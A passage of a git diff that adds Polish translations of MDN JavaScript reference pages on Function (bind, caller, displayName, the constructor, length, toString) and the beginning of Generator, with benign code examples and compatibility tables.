id="Kompatybilność_z_przeglądarkami_Tabela_zgodności_na_tej_stronie_jest_generowana_z_danych_strukturalnych._Jeśli_chcesz_przyczynić_się_do_danych_sprawdź_httpsgithub.commdnbrowser-compat-data_i_wyślij_nam_żądanie_ściągnięcia._Compat_javascript.builtins.Function.bind">Kompatybilność z przeglądarkami<br> + Tabela zgodności na tej stronie jest generowana z danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź https://github.com/mdn/browser-compat-data i wyślij nam żądanie ściągnięcia.<br> + {{Compat ("javascript.builtins.Function.bind")}}</h5> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Function.prototype.apply()")}}</li> + <li>{{jsxref("Function.prototype.call()")}}</li> + <li>{{jsxref("Functions", "Functions", "", 1)}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/function/caller/index.html b/files/pl/web/javascript/referencje/obiekty/function/caller/index.html new file mode 100644 index 0000000000..1c86b7f92f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/caller/index.html @@ -0,0 +1,69 @@ +--- +title: Function.caller +slug: Web/JavaScript/Referencje/Obiekty/Function/caller +tags: + - Function + - JavaScript + - Non-standard + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Function/caller +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Określa funkcję, która powołuje się na aktualnie wykonywaną funkcje.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli funkcja <code>f</code> została wywołana przez kod najwyższego poziomu, własność <code>f.caller</code> ma wartość {{jsxref("null")}}, w przeciwnym przypadku jest to funkcja, która wywołała <code>f</code>.</p> + +<p>Ta własność zastąpiła wycofaną własność {{jsxref("arguments.caller")}}.</p> + +<h3 id="Notes" name="Notes">Notes</h3> + +<p>Note that in case of recursion, you can't reconstruct the call stack using this property. Consider:</p> + +<pre class="brush: js">function f(n) { g(n-1); } +function g(n) { if(n>0) { f(n); } else { stop(); } } +f(2); +</pre> + +<p>At the moment <code>stop()</code> is called the call stack will be:</p> + +<pre class="eval">f(2) -> g(1) -> f(1) -> g(0) -> stop() +</pre> + +<p>The following is true:</p> + +<pre class="eval">stop.caller === g && f.caller === g && g.caller === f +</pre> + +<p>so if you tried to get the stack trace in the <code>stop()</code> function like this:</p> + +<pre class="brush: js">var f = stop; +var stack = "Stack trace:"; +while (f) { + stack += "\n" + f.name; + f = f.caller; +} +</pre> + +<p>the loop would never stop.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Sprawdzenie_warto.C5.9Bci_w.C5.82asno.C5.9Bci_funkcji_caller" name="Przyk.C5.82ad:_Sprawdzenie_warto.C5.9Bci_w.C5.82asno.C5.9Bci_funkcji_caller">Przykład: Sprawdzenie wartości własności funkcji <code>caller</code></h3> + +<p>Następujący kod sprawdza wartość własności funkcji <code>caller</code>.</p> + +<pre class="brush: js">function myFunc() { + if (myFunc.caller == null) { + return ("The function was called from the top!"); + } else { + return ("This function's caller was " + myFunc.caller); + } +} +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html b/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html new file mode 100644 index 0000000000..72c8c41257 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/displayname/index.html @@ -0,0 +1,119 @@ +--- +title: Function.displayName +slug: Web/JavaScript/Referencje/Obiekty/Function/displayName +translation_of: Web/JavaScript/Reference/Global_Objects/Function/displayName +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>Właściwość <code><strong><em>function</em>.displayName</strong></code> zwraca wyświetlaną nazwę funkcji.</p> + +<h2 id="Opis">Opis</h2> + +<p>Gdy jest zdefiniowana, wlaściwość <code>displayName</code> zwraca wyświetlaną nazwę funkcji:</p> + +<pre class="brush: js">function doSomething() {} + +console.log(doSomething.displayName); // "undefined" + +var popup = function(content) { console.log(content); }; + +popup.displayName = 'Pokaż Popup'; + +console.log(popup.displayName); // "Pokaż Popup" +</pre> + +<p>Możesz zdefiniować funkcję z wyświetlaną nazwą {{jsxref("Functions", "function expression", "", 1)}}:</p> + +<pre class="brush: js">var object = { + someMethod: function() {} +}; + +object.someMethod.displayName = 'jakaśMetoda'; + +console.log(object.someMethod.displayName); // logs "jakaśMetoda" + +try { someMethod } catch(e) { console.log(e); } +// ReferenceError: jakaśMetoda is not defined +</pre> + +<p>Możesz dynamicznie zmieniać <code>displayName </code>z funkcji:</p> + +<pre class="brush: js">var object = { + // anonymous + someMethod: function(value) { + this.displayName = 'jakaśMetoda (' + value + ')'; + } +}; + +console.log(object.someMethod.displayName); // "undefined" + +object.someMethod('123') +console.log(object.someMethod.displayName); // "jakaśMetoda (123)" +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Zazwyczaj preferowane jest przez konsole i profilery podczas {{jsxref("Function.name", "func.name")}} aby wyświetlić nazwę funkcji.</p> + +<p>Umieszczony w konsoli powinien wyświetlić coś w rodzaju "<code>function Moja Funkcja()</code>":</p> + +<pre class="brush: js">var a = function() {}; +a.displayName = '<code>Moja Funkcja</code>'; + +a; // "function <code>Moja Funkcja</code>()"</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<p>Nie jest częścią żadnej specyfikacji.</p> + +<h2 id="Zgodność_z_przeglądarką">Zgodność z przeglądarką</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop(13)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/javascript/referencje/obiekty/function/index.html b/files/pl/web/javascript/referencje/obiekty/function/index.html new file mode 100644 index 0000000000..2db4d33411 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/index.html @@ -0,0 +1,237 @@ +--- +title: Function +slug: Web/JavaScript/Referencje/Obiekty/Function +tags: + - Function + - JavaScript + - Konstruktor +translation_of: Web/JavaScript/Reference/Global_Objects/Function +--- +<div>{{JSRef}}</div> + +<p><strong>Konstruktor</strong> <strong><code>Function</code> </strong>tworzy nowy obiekt Function(tworzy funkcję poprzez konstruktor). W JavaScripcie właściwie każda funkcja jest obiektem <code>Function</code>.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><code>new Function ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] <var>functionBody</var>)</code></pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<dl> + <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> + <dd>Names to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd> + <dt><code>functionBody</code></dt> + <dd>A string containing the JavaScript statements comprising the function definition.</dd> +</dl> + +<h2 id="Description" name="Description">Opis</h2> + +<p><code>Function</code> objects created with the <code>Function</code> constructor are parsed when the function is created. This is less efficient than declaring a function with a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> or <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> and calling it within your code, because such functions are parsed with the rest of the code.</p> + +<p>All arguments passed to the function are treated as the names of the identifiers of the parameters in the function to be created, in the order in which they are passed.</p> + +<div class="note"> +<p><strong>Note:</strong> Functions created with the <code>Function</code> constructor do not create closures to their creation contexts; they always are created in the global scope. When running them, they will only be able to access their own local variables and global ones, not the ones from the scope in which the <code>Function</code> constructor was called. This is different from using {{jsxref("Global_Objects/eval", "eval")}} with code for a function expression.</p> +</div> + +<p>Wywołanie konstruktora Function jako funkcję (bez użycia operatora 'new') ma taki sam efekt jak wywołanie konstruktora(z operatorem).</p> + +<h2 id="Właściwości_i_metody_Function">Właściwości i metody <code>Function</code></h2> + +<p>The global <code>Function</code> object has no methods or properties of its own, however, since it is a function itself it does inherit some methods and properties through the prototype chain from {{jsxref("Function.prototype")}}.</p> + +<h2 id="Function_prototype_object"><code>Function</code> prototype object</h2> + +<h3 id="Właściwości">Właściwości</h3> + +<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Properties')}}</div> + +<h3 id="Methods" name="Methods">Metody</h3> + +<div>{{page('/en-US/docs/JavaScript/Reference/Global_Objects/Function/prototype', 'Methods')}}</div> + +<h2 id="Function_instances" name="Function_instances"><code>Function</code> instances</h2> + +<p><code>Function</code> instances inherit methods and properties from {{jsxref("Function.prototype")}}. As with all constructors, you can change the constructor's prototype object to make changes to all <code>Function</code> instances.</p> + +<h2 id="Examples" name="Examples">Przykłady</h2> + +<h3 id="Example.3A_Specifying_arguments_with_the_Function_constructor" name="Example.3A_Specifying_arguments_with_the_Function_constructor">Przykład: Specifying arguments with the <code>Function</code> constructor</h3> + +<p>Poniższy przykład tworzy obiekt Function(tworzy funkcję poprzez konstruktor), który przyjmuje dwa argumenty.</p> + +<pre class="brush: js">// Przykład może być uruchomiony bezpośrednio w konsoli JavaScript + +// Tworzy funkcję, która przyjmuje dwa argumenty i zwraca ich sumę +var adder = new Function('a', 'b', 'return a + b'); + +// Wywołanie funkcji +adder(2, 6); +// > 8 +</pre> + +<p>Argumenty "<code>a</code>" i "<code>b</code>" są formanie nazwami argumentrów, które są użyte w ciele funkcji, "<code>return a + b</code>".</p> + +<h3 id="Example:_A_recursive_shortcut_to_massively_modify_the_DOM" name="Example:_A_recursive_shortcut_to_massively_modify_the_DOM">Przykład: A recursive shortcut to massively modify the DOM</h3> + +<p>Creating functions with the <code>Function</code> constructor is one of the ways to dynamically create an indeterminate number of new objects with some executable code into the global scope from a function. The following example (a recursive shortcut to massively modify the DOM) is impossible without the invocation of the <code>Function</code> constructor for each new query if you want to avoid closures.</p> + +<pre class="brush: html language-html"><code class="language-html"><!doctype html> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>html</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>head</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>meta</span> <span class="attr-name token">http-equiv</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Content-Type<span class="punctuation token">"</span></span> <span class="attr-name token">content</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/html; charset<span class="punctuation token">=</span>UTF-8<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>title</span><span class="punctuation token">></span></span>MDN Example - a recursive shortcut to massively modify the DOM<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>title</span><span class="punctuation token">></span></span> +<span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="keyword token">var</span> domQuery <span class="operator token">=</span> <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> aDOMFunc <span class="operator token">=</span> <span class="punctuation token">[</span> + Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>removeAttribute<span class="punctuation token">,</span> + Element<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>setAttribute<span class="punctuation token">,</span> + CSSStyleDeclaration<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>removeProperty<span class="punctuation token">,</span> + CSSStyleDeclaration<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>setProperty + <span class="punctuation token">]</span><span class="punctuation token">;</span> + + <span class="keyword token">function</span> <span class="function token">setSomething<span class="punctuation token">(</span></span>bStyle<span class="punctuation token">,</span> sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> bSet <span class="operator token">=</span> <span class="function token">Boolean<span class="punctuation token">(</span></span>sVal<span class="punctuation token">)</span><span class="punctuation token">,</span> fAction <span class="operator token">=</span> aDOMFunc<span class="punctuation token">[</span>bSet <span class="operator token">|</span> bStyle <span class="operator token"><</span><span class="operator token"><</span> <span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">,</span> + aArgs <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>slice<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span>arguments<span class="punctuation token">,</span> <span class="number token">1</span><span class="punctuation token">,</span> bSet <span class="operator token">?</span> <span class="number token">3</span> <span class="punctuation token">:</span> <span class="number token">2</span><span class="punctuation token">)</span><span class="punctuation token">,</span> + aNodeList <span class="operator token">=</span> bStyle <span class="operator token">?</span> <span class="keyword token">this</span><span class="punctuation token">.</span>cssNodes <span class="punctuation token">:</span> <span class="keyword token">this</span><span class="punctuation token">.</span>nodes<span class="punctuation token">;</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span>bSet <span class="operator token">&&</span> bStyle<span class="punctuation token">)</span> <span class="punctuation token">{</span> aArgs<span class="punctuation token">.</span><span class="function token">push<span class="punctuation token">(</span></span><span class="string token">''</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="keyword token">for</span> <span class="punctuation token">(</span> + <span class="keyword token">var</span> nItem <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">,</span> nLen <span class="operator token">=</span> <span class="keyword token">this</span><span class="punctuation token">.</span>nodes<span class="punctuation token">.</span>length<span class="punctuation token">;</span> + nItem <span class="operator token"><</span> nLen<span class="punctuation token">;</span> + fAction<span class="punctuation token">.</span><span class="function token">apply<span class="punctuation token">(</span></span>aNodeList<span class="punctuation token">[</span>nItem<span class="operator token">++</span><span class="punctuation token">]</span><span class="punctuation token">,</span> aArgs<span class="punctuation token">)</span> + <span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">this</span><span class="punctuation token">.</span>follow <span class="operator token">=</span> setSomething<span class="punctuation token">.</span>caller<span class="punctuation token">;</span> + <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">function</span> <span class="function token">setStyles<span class="punctuation token">(</span></span>sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> setSomething<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">,</span> <span class="keyword token">true</span><span class="punctuation token">,</span> sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="keyword token">function</span> <span class="function token">setAttribs<span class="punctuation token">(</span></span>sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> setSomething<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span><span class="keyword token">this</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">,</span> sProp<span class="punctuation token">,</span> sVal<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="keyword token">function</span> <span class="function token">getSelectors<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span>selectors<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span> + <span class="keyword token">function</span> <span class="function token">getNodes<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span>nodes<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">;</span> + + <span class="keyword token">return</span> <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>sSelectors<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> oQuery <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Function</span><span class="punctuation token">(</span><span class="string token">'return arguments.callee.follow.apply(arguments.callee, arguments);'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>selectors <span class="operator token">=</span> sSelectors<span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>nodes <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelectorAll<span class="punctuation token">(</span></span>sSelectors<span class="punctuation token">)</span><span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>cssNodes <span class="operator token">=</span> Array<span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>map<span class="punctuation token">.</span><span class="function token">call<span class="punctuation token">(</span></span>oQuery<span class="punctuation token">.</span>nodes<span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>oInlineCSS<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> oInlineCSS<span class="punctuation token">.</span>style<span class="punctuation token">;</span> <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>attributes <span class="operator token">=</span> setAttribs<span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>inlineStyle <span class="operator token">=</span> setStyles<span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>follow <span class="operator token">=</span> getNodes<span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>toString <span class="operator token">=</span> getSelectors<span class="punctuation token">;</span> + oQuery<span class="punctuation token">.</span>valueOf <span class="operator token">=</span> getNodes<span class="punctuation token">;</span> + <span class="keyword token">return</span> oQuery<span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>head</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>body</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>testClass<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Lorem ipsum<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Some text<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>testClass<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>dolor sit amet<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + +<span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="function token">domQuery<span class="punctuation token">(</span></span><span class="string token">'.testClass'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">attributes<span class="punctuation token">(</span></span><span class="string token">'lang'</span><span class="punctuation token">,</span> <span class="string token">'en'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'Risus abundat in ore stultorum'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">inlineStyle<span class="punctuation token">(</span></span><span class="string token">'background-color'</span><span class="punctuation token">,</span> <span class="string token">'black'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'color'</span><span class="punctuation token">,</span> <span class="string token">'white'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'width'</span><span class="punctuation token">,</span> <span class="string token">'100px'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'height'</span><span class="punctuation token">,</span> <span class="string token">'50px'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>script</span><span class="punctuation token">></span></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>body</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>html</span><span class="punctuation token">></span></span></code></pre> + +<p> </p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<p> </p> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition. Implemented in JavaScript 1.0.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also" name="See_also">Zobacz również</h2> + +<ul> + <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li> + <li>{{jsxref("Function")}}</li> + <li>{{jsxref("Statements/function", "function statement")}}</li> + <li>{{jsxref("Operators/function", "function expression")}}</li> + <li>{{jsxref("Statements/function*", "function* statement")}}</li> + <li>{{jsxref("Operators/function*", "function* expression")}}</li> + <li>{{jsxref("GeneratorFunction")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/function/length/index.html b/files/pl/web/javascript/referencje/obiekty/function/length/index.html new file mode 100644 index 0000000000..e34ecb8154 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/length/index.html @@ -0,0 +1,42 @@ +--- +title: Function.length +slug: Web/JavaScript/Referencje/Obiekty/Function/length +tags: + - Function + - JavaScript + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Function/length +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Określa liczbę argumentów oczekiwanych przez funkcję.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt <code>length</code> znajduje się na zewnątrz funkcji i określa jak wiele argumentów ma oczekiwać funkcja, i.e. liczbę oficjalnych parametrów. W przeciwieństwie do obiektu {{jsxref("arguments.length")}}, który znajduje się wewnątrz funkcji, określa liczbę argumentów faktycznie przekazywanych do funkcji.</p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length" name="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length">Przykład: Zastosowanie <code>Function.length</code> i <code>arguments.length</code></h3> + +<p>Następujący przykład pokazuje w jaki należy zastosować <code>Function.length</code> i <code>arguments.length</code>.</p> + +<pre class="brush: js">function addNumbers(x, y){ + if (arguments.length == addNumbers.length) { + return (x + y); + } + else + return 0; +} +</pre> + +<p>Jeśli podamy więcej niż dwa argumenty do tej funkcji, funkcja zwróci 0:</p> + +<pre class="eval">addNumbers(3,4,5) // zwraca 0 +addNumbers(3,4) // zwraca 7 +addNumbers(103,104) // zwraca 207 +</pre> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html new file mode 100644 index 0000000000..2f158219b9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html @@ -0,0 +1,56 @@ +--- +title: Function.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Function/toString +tags: + - Function + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków reprezentujący kod źródłowy funkcji.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="syntaxbox"><code><var>function</var>.toString(indentation)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>indentation</code> {{non-standard_inline}} {{obsolete_inline(17)}}</dt> + <dd>The amount of spaces to indent the string representation of the source code. If <code>indentation</code> is less than or equal to <code>-1</code>, most unnecessary spaces are removed.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt {{jsxref("Function")}} przesłania metodę {{jsxref("Object.prototype.toString", "toString")}} obiektu {{jsxref("Function")}}; nie dziedziczy {{jsxref("Object.prototype.toString")}}. Dla obiektów <code>Function</code>, metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt.</p> + +<p>JavaScript wywołuje metodę <code>toString()</code> automatycznie, gdy {{jsxref("Function")}} jest reprezentowana jako wartość tekstowa lub kiedy <code>Function</code> jest odsyłana do połączenia łańcuchów znaków.</p> + +<p>Dla obiektów {{jsxref("Function")}}, wbudowana metoda <code>toString)=</code> dekompiluje funkcję z powrotem do kodu JavaScript, który tę funkcję definiuje. Łańcuch znaków zawiera słowa kluczowe <code>function</code>, listę argumentów, nawiasy klamrowe oraz ciało funkcji.</p> + +<p>Załóżmy na przykład, że masz poniższy kod, który definiuje obiektowy typ <code>Dog</code> i tworzy <code>theDog</code>, obiekt typu <code>Dog</code>:</p> + +<pre class="brush:js">function Dog(name, breed, color, sex) { + this.name = name + this.breed = breed + this.color = color + this.sex = sex +} + +theDog = new Dog( "Gabby", "Lab", "chocolate", "girl" ); +</pre> + +<p>W dowolnej chwili, gdy <code>Dog</code> jest użyty w kontekście jako łańcuch znaków, JavaScript automatycznie wywołuje funkcję <code>toString</code>, która zwraca poniższy łańcuch znaków:</p> + +<pre class="brush: js">function Dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; }</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/generator/index.html b/files/pl/web/javascript/referencje/obiekty/generator/index.html new file mode 100644 index 0000000000..8d181f0dcc --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/generator/index.html @@ -0,0 +1,178 @@ +--- +title: Generator +slug: Web/JavaScript/Referencje/Obiekty/Generator +translation_of: Web/JavaScript/Reference/Global_Objects/Generator +--- +<div>{{JSRef}}</div> + +<p>Obiekt <code><strong>Generator</strong></code> jest zwracany przez {{jsxref("Polecenia/function*", "generator function", "", 1)}} i odpowiada obu: <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable protocol</a> i <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterator protocol</a>.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">function* gen() { + yield 1; + yield 2; + yield 3; +} + +var g = gen(); // "Generator { }"</pre> + +<h2 id="Methods">Methods</h2> + +<dl> + 